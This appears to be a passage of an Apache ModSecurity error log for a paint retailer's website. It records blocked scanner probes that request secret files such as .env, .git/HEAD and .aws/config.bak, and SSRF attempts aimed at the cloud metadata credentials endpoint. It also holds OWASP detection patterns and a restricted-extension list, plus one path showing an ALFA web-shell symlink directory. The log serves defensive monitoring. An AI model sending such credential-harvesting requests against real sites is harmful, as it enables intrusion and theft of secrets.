[Mon Oct 26 00:21:54.914097 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.bedrock"] [unique_id "at7VYm-vOSxyH8uS5IpnUAAAAA0"]
[Mon Oct 26 00:21:55.010713 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.claude"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.claude"] [unique_id "at7VY2-vOSxyH8uS5IpnUQAAAA0"]
[Mon Oct 26 00:21:55.010922 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.claude"] [unique_id "at7VY2-vOSxyH8uS5IpnUQAAAA0"]
[Mon Oct 26 00:21:55.011182 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.claude"] [unique_id "at7VY2-vOSxyH8uS5IpnUQAAAA0"]
[Mon Oct 26 00:21:55.095615 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.bak"] [unique_id "at7VY2-vOSxyH8uS5IpnUgAAAA0"]
[Mon Oct 26 00:21:55.095797 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.bak"] [unique_id "at7VY2-vOSxyH8uS5IpnUgAAAA0"]
[Mon Oct 26 00:21:55.096048 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.bak"] [unique_id "at7VY2-vOSxyH8uS5IpnUgAAAA0"]
[Mon Oct 26 00:21:55.498316 2026] [core:error] [pid 2961903:tid 2961903] (13)Permission denied: [client 100.28.204.82:46074] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/rescan
[Mon Oct 26 00:21:55.880470 2026] [security2:error] [pid 2961902:tid 2961902] [client 93.123.109.101:52978] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7VY6Nncdtu7DBDOKsB8QAAABs"]
[Mon Oct 26 00:21:55.880746 2026] [security2:error] [pid 2961902:tid 2961902] [client 93.123.109.101:52978] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7VY6Nncdtu7DBDOKsB8QAAABs"]
[Mon Oct 26 00:21:55.881076 2026] [security2:error] [pid 2961902:tid 2961902] [client 93.123.109.101:52978] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7VY6Nncdtu7DBDOKsB8QAAABs"]
[Mon Oct 26 00:21:55.888364 2026] [security2:error] [pid 2961905:tid 2961905] [client 93.123.109.101:52990] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7VY21MiWEGc2K5N6WjfQAAAB4"]
[Mon Oct 26 00:21:55.888659 2026] [security2:error] [pid 2961905:tid 2961905] [client 93.123.109.101:52990] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7VY21MiWEGc2K5N6WjfQAAAB4"]
[Mon Oct 26 00:21:55.889042 2026] [security2:error] [pid 2961905:tid 2961905] [client 93.123.109.101:52990] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7VY21MiWEGc2K5N6WjfQAAAB4"]
[Mon Oct 26 00:21:56.066042 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCHgAAABo"]
[Mon Oct 26 00:21:56.066865 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCHgAAABo"]
[Mon Oct 26 00:21:56.067188 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCHgAAABo"]
[Mon Oct 26 00:21:56.157939 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCHwAAABo"]
[Mon Oct 26 00:21:56.158414 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCHwAAABo"]
[Mon Oct 26 00:21:56.158687 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCHwAAABo"]
[Mon Oct 26 00:21:56.247354 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:uri. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:uri: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCIAAAABo"]
[Mon Oct 26 00:21:56.247788 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCIAAAABo"]
[Mon Oct 26 00:21:56.248045 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCIAAAABo"]
[Mon Oct 26 00:21:56.323089 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/.aws/config.bak"] [unique_id "at7VZASn5HKIYfqg0eAlFQAAADc"]
[Mon Oct 26 00:21:56.323415 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.aws/config.bak"] [unique_id "at7VZASn5HKIYfqg0eAlFQAAADc"]
[Mon Oct 26 00:21:56.323750 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.aws/config.bak"] [unique_id "at7VZASn5HKIYfqg0eAlFQAAADc"]
[Mon Oct 26 00:21:56.349231 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:uri. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:uri: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCIQAAABo"]
[Mon Oct 26 00:21:56.349780 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCIQAAABo"]
[Mon Oct 26 00:21:56.350117 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCIQAAABo"]
[Mon Oct 26 00:21:56.402465 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7VZASn5HKIYfqg0eAlFgAAADc"]
[Mon Oct 26 00:21:56.402650 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7VZASn5HKIYfqg0eAlFgAAADc"]
[Mon Oct 26 00:21:56.402920 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7VZASn5HKIYfqg0eAlFgAAADc"]
[Mon Oct 26 00:21:56.442014 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:target. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:target: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCIgAAABo"]
[Mon Oct 26 00:21:56.442514 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCIgAAABo"]
[Mon Oct 26 00:21:56.442783 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCIgAAABo"]
[Mon Oct 26 00:21:56.488249 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7VZASn5HKIYfqg0eAlFwAAADc"]
[Mon Oct 26 00:21:56.488505 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7VZASn5HKIYfqg0eAlFwAAADc"]
[Mon Oct 26 00:21:56.488836 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7VZASn5HKIYfqg0eAlFwAAADc"]
